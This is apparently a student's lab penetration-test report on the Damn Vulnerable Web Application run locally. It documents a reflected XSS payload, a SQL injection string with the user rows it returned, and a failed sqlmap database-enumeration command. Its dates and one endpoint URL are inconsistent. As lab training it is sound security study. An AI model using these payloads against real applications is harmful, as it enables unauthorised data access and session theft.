

Cyber Security Project: Bounty Hunt DVWA

Target Information

- **Application Name:** Damn Vulnerable Web Application (DVWA)
- **Deployment Type:** Localhost (Lab Environment)
- **Testing Type:** Authorized Lab Testing
- **Tester:** Raj Kulkarni
- **Date of Testing:** 17/01/2025

Scope

The scope of testing was limited strictly to the DVWA application hosted locally.

All testing was performed in a **controlled lab environment** for educational purposes only.

In-Scope Assets:

- Web application endpoints exposed by DVWA

Out-of-Scope:

- Any external systems
- Production or real-world targets

Tools Used

- Burp Suite Community Edition
- OWASP ZAP
- SQLMap
- Nmap
- Web Browser (Firefox)

ID	Vulnerability Type	Severity
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V-01	Reflected Cross-Site Scripting (XSS)	Medium
V-02	SQL Injection (Authentication Bypass)	High

V-01: Reflected Cross-Site Scripting (XSS)

Severity: Medium

Affected Endpoint: `/vulnerabilities/xss_r/`

Impact

- Allows execution of arbitrary JavaScript
- Can lead to session hijacking
- Enables phishing attacks
- Could be chained with social engineering

Steps to Reproduce

1. Navigate to the **Reflected XSS** section in DVWA
2. Enter the following payload in the input field:

`<script>alert('XSS')</script>`

3. Submit the request
4. The JavaScript executes successfully in the browser

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Username: admin
Security Level: low
PHPIDS: disabled

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Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

More info

<http://hackers.org/xss.html>http://en.wikipedia.org/wiki/Cross-site_scripting<http://www.cgisecurity.com/xss-faq.html>

Damn Vulnerable Web Application (DVWA) v1.0.7

192.168.163.129/dvwa/vulnerabilities/xss_r/?name=<script>alert%28%27hacked+devtown%27%29<%2Fscript>#

192.168.163.129 says

hacked devtown

OK

V-02: SQL Injection (Authentication Bypass)

Severity: High

Affected Endpoint: <http://vulnerabilities/sqli/>

Impact

- Complete database compromise
- Unauthorized data access
- Potential data modification or deletion
- Full application takeover

Steps to Reproduce

1. Navigate to the **SQL Injection** section
2. Enter the following payload in the User ID parameter:

1' OR '1'='1

3. Submit the request
4. Application returns user data without proper authorization



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Logout

Username: admin
Security Level: low
PHPIDS: disabled

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Vulnerability: SQL Injection

User ID:

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

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Logout

Username: admin
Security Level: low
PHPIDS: disabled

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Vulnerability: SQL Injection

User ID:

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

```
(kali㉿kali)-[~]
$ sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=16Submit=Submit" --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:56:23 /2026-01-17/

[09:56:24] [INFO] testing connection to the target URL
[09:56:24] [CRITICAL] unable to connect to the target URL ('Connection refused'). sqlmap is going to retry the request(s)
[09:56:24] [WARNING] if the problem persists please check that the provided target URL is reachable. In case that it is, you can try to rerun with switch '--random-agent' and/or proxy switches ('--proxy', '--proxy-file' ...)
[09:56:24] [CRITICAL] unable to connect to the target URL ('Connection refused')

[*] ending @ 09:56:24 /2026-01-17/

(kali㉿kali)-[~]
$
```

Overall Risk Assessment

The application contains **multiple critical vulnerabilities** that could allow an attacker to:

- Steal sensitive data
- Bypass authentication
- Execute arbitrary code in a victim's browser

If deployed in a real-world environment, these vulnerabilities could result in **severe security breaches**.

Conclusion

This project successfully demonstrates the **end-to-end bug bounty workflow**, including reconnaissance, vulnerability identification, exploitation, and professional reporting. All findings were responsibly documented within the defined scope.